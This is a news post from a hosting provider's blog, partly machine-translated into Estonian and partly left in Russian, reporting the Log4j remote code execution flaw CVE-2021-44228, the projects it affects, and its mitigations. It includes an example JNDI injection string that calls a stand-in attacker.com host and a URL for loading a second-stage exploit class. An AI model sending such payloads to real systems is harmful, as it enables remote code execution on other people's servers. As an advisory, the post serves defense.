{"id":102562,"date":"2021-12-10T09:36:48","date_gmt":"2021-12-10T07:36:48","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty"},"modified":"2021-12-10T09:36:48","modified_gmt":"2021-12-10T07:36:48","slug":"katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","title":{"rendered":"Kohutav haavatavus Apache Log4j-s, mis m\u00f5jutab paljusid Java-projekte","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 «{jndi:URL}». \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043d\u0430 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0432 \u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445. <\/p>\n

On m\u00e4rgitud, et probleemiga on haavatavad peaaegu k\u00f5ik projektid, mis kasutavad selliseid raamistikku nagu Apache Struts, Apache Solr, Apache Druid v\u00f5i Apache Flink, sealhulgas Steam, Apple iCloud, Minecrafti kliendid ja serverid. Oodata on, et haavatavus v\u00f5ib p\u00f5hjustada ulatuslikku r\u00fcnnakute laine ettev\u00f5tte rakendustele, korrates kriitiliste haavatavuste ajalugu Apache Strutsi raamistikus, mida veebirakendustes kasutab hinnanguliselt 65% Fortune 100 ettev\u00f5tetest. Juba on registreeritud katseid v\u00f5rgu skaneerimiseks haavatavate s\u00fcsteemide leidmiseks. <\/p>\n

Probleem s\u00fcveneb veelgi, kuna juba on avaldatud t\u00f6\u00f6tav eksploit, kuid stabiilsete harude jaoks ei ole praegu lahendusi v\u00e4lja t\u00f6\u00f6tatud. CVE-ID-d ei ole veel m\u00e4\u00e4ratud. Lahendus on lisatud ainult testiversiooni log4j-2.15.0-rc1. R\u00fcnnakute v\u00e4ltimiseks soovitatakse seada parameeter log4j2.formatMsgNoLookups v\u00e4\u00e4rtusele true. <\/p>\n

\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e log4j \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0430\u0441\u043e\u043a «{}» \u0432 \u0432\u044b\u0432\u043e\u0434\u0438\u043c\u044b\u0445 \u0432 \u043b\u043e\u0433 \u0441\u0442\u0440\u043e\u043a\u0430\u0445, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0433\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u044b JNDI (Java Naming and Directory Interface). \u0410\u0442\u0430\u043a\u0430 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0441 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 «${jndi:ldap:\/\/attacker.com\/a}», \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 log4j \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442 \u043d\u0430 server<\/a> attacker.com LDAP-p\u00e4ring JAVA klassi tee kohta. Tagasi saadetud serveriga<\/a> r\u00fcndaja tee (n\u00e4iteks http:\/\/second-stage.attacker.com\/Exploit.class) laaditakse ja toimib jooksva protsessi kontekstis, andes r\u00fcndajale v\u00f5imaluse k\u00e4ivitada s\u00fcsteemis juhuslikku koodi, kasutades praeguse rakenduse \u00f5igusi. <\/p>\n

Lisa 1: Haavatavusele on antud identifikaator CVE-2021-44228. <\/p>\n

Lisa 2: Leidti turvameetmete \u00fcmbers\u00f5itmise meetod, mis on lisatud versioonile log4j-2.15.0-rc1. Uus v\u00e4rskendus log4j-2.15.0-rc2 on pakutud, et pakkuda p\u00f5hjalikumat kaitset haavatavuse vastu. Koodis on esile t\u00f5stetud muudatus, mis on seotud \u00e4\u00e4rmiselt toksilise JNDI URL-i vale vormindamise juhtumite k\u00e4sitlemise puudumisega.
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 «{jndi:URL}». \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043d\u0430 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0432 \u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102562","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Katastroofiline haavatavus Apache Log4j'is, mis m\u00f5jutab paljusid Java projekte | ProHoster","description":"Apache Log4j, populaarne Java-rakendustes logimise organisatsiooniks m\u00f5eldud raamistik, on tuvastanud kriitilise turvaaugu, mis v\u00f5imaldab spetsiifilise vorminguga v\u00e4\u00e4rtuse kirjutamisel logisse k\u00e4ivitada juhuslikku koodi.","canonical_url":"https:\/\/prohoster.info\/et\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Apache Log4j, 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